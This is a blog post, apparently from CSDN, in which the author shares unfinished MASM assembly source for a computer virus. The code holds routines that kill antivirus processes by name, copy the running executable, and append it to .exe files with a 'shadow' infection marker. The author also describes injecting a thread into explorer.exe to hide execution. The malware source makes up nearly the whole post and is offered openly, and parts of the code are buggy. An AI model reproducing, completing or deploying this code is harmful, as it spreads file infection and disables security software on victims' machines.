关闭

很久很久以前写的汇编代码 想写病毒一直没时间完成(少网络传播模块 与 线程附加模块)

标签: 汇编网络null杀毒软件bytefile
1231人阅读 评论(0) 收藏 举报
分类:

以前写过 线程附加模块 现在找不到了 原理就是 附加一个线程在 explorer.exe 上执行代码(我认为具有极高的隐蔽性 因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以)。

感谢 罗聪 兄的帮助 以前写汇编代码时我遇到问题就去找他 呵呵!  不过你也够强的 QQ 都n个太阳了 就没见你上过线丫的超级潜水员.

 ;##########################################################
; Shadow MASM Public Function Library
;##########################################################

;##########################################################
 GetWindowsVer proto
 KillAntiVirus  proto
 vBackupFile proto
 ReadVirusToMem proto :DWORD
 WriteVirusToExe proto :DWORD, :DWORD
;##########################################################


;##########################################################
; 判断 Windows 版本 测试通过
;##########################################################
 GetWindowsVer proc
  LOCAL OSVI:OSVERSIONINFO
  mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO)
  invoke GetVersionEx,addr OSVI
  xor ebx,ebx
  .IF OSVI.dwPlatformId == VER_PLATFORM_WIN32_NT
   mov ebx,1
  .ELSE
   xor ebx,ebx
  .ENDIF
  invoke MessageBox,NULL,CTEXT("This is system NT"),CTEXT("Test"),MB_OK
  ret
 GetWindowsVer endp


;##########################################################
; 终止杀毒软件 测试通过
;##########################################################
 KillAntiVirus proc
  LOCAL  lppe:PROCESSENTRY32
  LOCAL  hProcessSnap:DWORD
  
  mov lppe.dwSize,SIZEOF PROCESSENTRY32
  invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 ; 获取进程快照句柄
  mov hProcessSnap,eax 
  
  ;循环获取进程信息判断是否为杀毒软件
  invoke Process32First,hProcessSnap,addr lppe
  .WHILE eax
   invoke lstrcmp,addr lppe.szExeFile,CTEXT("notepad.exe")
   .IF eax==0
    invoke OpenProcess,PROCESS_TERMINATE,FALSE,lppe.th32ProcessID
    invoke TerminateProcess,eax,-1 ;如果是杀毒软件 杀掉它
   .ENDIF
   
   invoke Process32Next,hProcessSnap,addr lppe
  .ENDW

  invoke CloseHandle,hProcessSnap
  ret
 KillAntiVirus endp


;##########################################################
; 备份病毒文件
;##########################################################
 vBackupFile proc
  LOCAL hFindFile:DWORD
  LOCAL byPath[MAX_PATH]:BYTE      ;保存搜索的路径[备份路径]
  LOCAL bySearchPath[MAX_PATH]:BYTE   ;要搜索的路径及文件
  LOCAL byFile[MAX_PATH]:BYTE      ;找到的文件 
  LOCAL lpFileData:WIN32_FIND_DATA
  
  ;获取系统目录
  invoke GetSystemDirectory,addr byPath,SIZEOF byPath
  invoke lstrcat,addr bySearchPath,CTEXT("/*.exe")
  invoke GetCurrentDirectory,sizeof byPath,addr byPath
  
  ;获得用于搜索的路径
  invoke lstrcpy,addr bySearchPath,addr byPath
  invoke lstrcat,addr bySearchPath,CTEXT("/Test/*.exe")
  
  ;备份路径
  invoke lstrcat,addr byPath,CTEXT("/Test/")
  
  ;查找文件
  invoke FindFirstFile,addr bySearchPath,addr lpFileData                           
  .IF eax != INVALID_HANDLE_VALUE
   mov hFindFile,eax
   .WHILE eax
    invoke lstrcpy,addr byFile,addr byPath
    invoke lstrcat,addr byFile,addr lpFileData.cFileName
    invoke ReadVirusToMem,addr byFile
    invoke FindNextFile,hFindFile,addr lpFileData
    
   .ENDW
   invoke FindClose,hFindFile
  .ENDIF
  
  ;invoke MessageBox,NULL,CTEXT("Test Function vBackupFile OK!"),CTEXT("Test"),MB_OK
  ret
 vBackupFile endp

;##########################################################
; 将病毒文件读入内存
;########################################################## 
 ReadVirusToMem Proc dwWriteFileName:DWORD
  LOCAL hMem:DWORD  
  LOCAL byFile[MAX_PATH]:BYTE
  LOCAL hReadFile:DWORD, dwFileSize:DWORD, byOfRead:DWORD
  
  ;获取当前exe文件名并打开文件
  invoke GetModuleFileName,hInstance,addr byFile,SIZEOF byFile
  invoke CreateFile,addr byFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
  .IF eax != INVALID_HANDLE_VALUE
   mov hReadFile,eax
  .ELSE
   ret
  .ENDIF
  
  ;获取当前exe文件大小 分配内存 读取文件
  invoke GetFileSize,hReadFile,NULL
  mov dwFileSize,eax
  test eax,eax
  je ExitFunction
  
  invoke GlobalAlloc,GPTR,dwFileSize
  test eax,eax
  je ExitFunction
  mov hMem,eax
  
  invoke ReadFile,hReadFile,hMem,dwFileSize,addr byOfRead,NULL
  invoke GlobalLock,hMem  

  invoke WriteVirusToExe,dwWriteFileName,hMem

  
  ;invoke MessageBox,NULL,CTEXT("Test Function ReadVirusToMem OK!"),CTEXT("Test"),MB_OK
  ExitFunction:
  invoke GlobalUnlock,hMem
  invoke GlobalFree,hMem
  invoke CloseHandle,hReadFile
  ret
 ReadVirusToMem endp
 
;##########################################################
; 将内存病毒写入文件并将已感染标志写入
;########################################################## 
 WriteVirusToExe proc dwOpenFileName:DWORD,dwWriteBuffer:DWORD
  LOCAL FileFlag[8]:BYTE
  LOCAL hFile:DWORD
  LOCAL byOfRead:DWORD
  LOCAL dwWriteSize:DWORD
  LOCAL byOfWrite:DWORD
  
  invoke RtlZeroMemory,addr FileFlag,sizeof FileFlag
  ;打开文件
  invoke CreateFile,dwOpenFileName,GENERIC_READ or GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
  .IF eax != INVALID_HANDLE_VALUE
   mov hFile,eax
  .ELSE
   ret
  .ENDIF
  
  ;设置文件读取位置 读取文件6个字节 判断文件是否感染
  invoke SetFilePointer,hFile,-6,NULL,FILE_END
  inc eax
  je ExitFunction
  dec eax
   
  invoke ReadFile,hFile,addr FileFlag,6,byOfRead,NULL
  invoke lstrcmp,addr FileFlag,CTEXT("shadow")
  test eax,eax
  je ExitFunction
  
  invoke SetFilePointer,hFile,0,NULL,FILE_END
  invoke GlobalSize,dwWriteBuffer
  mov dwWriteSize,eax
  invoke WriteFile,hFile,dwWriteBuffer,dwWriteSize,addr byOfWrite,NULL
  
  invoke SetFilePointer,hFile,0,NULL,FILE_END
  invoke WriteFile,hFile,CTEXT("shadow"),6,addr byOfWrite,NULL
  
  ExitFunction:
  invoke CloseHandle,hFile
  ret
 WriteVirusToExe endp

0
0

  相关文章推荐
查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:33120次
    • 积分:513
    • 等级:
    • 排名:千里之外
    • 原创:16篇
    • 转载:0篇
    • 译文:0篇
    • 评论:6条
    最新评论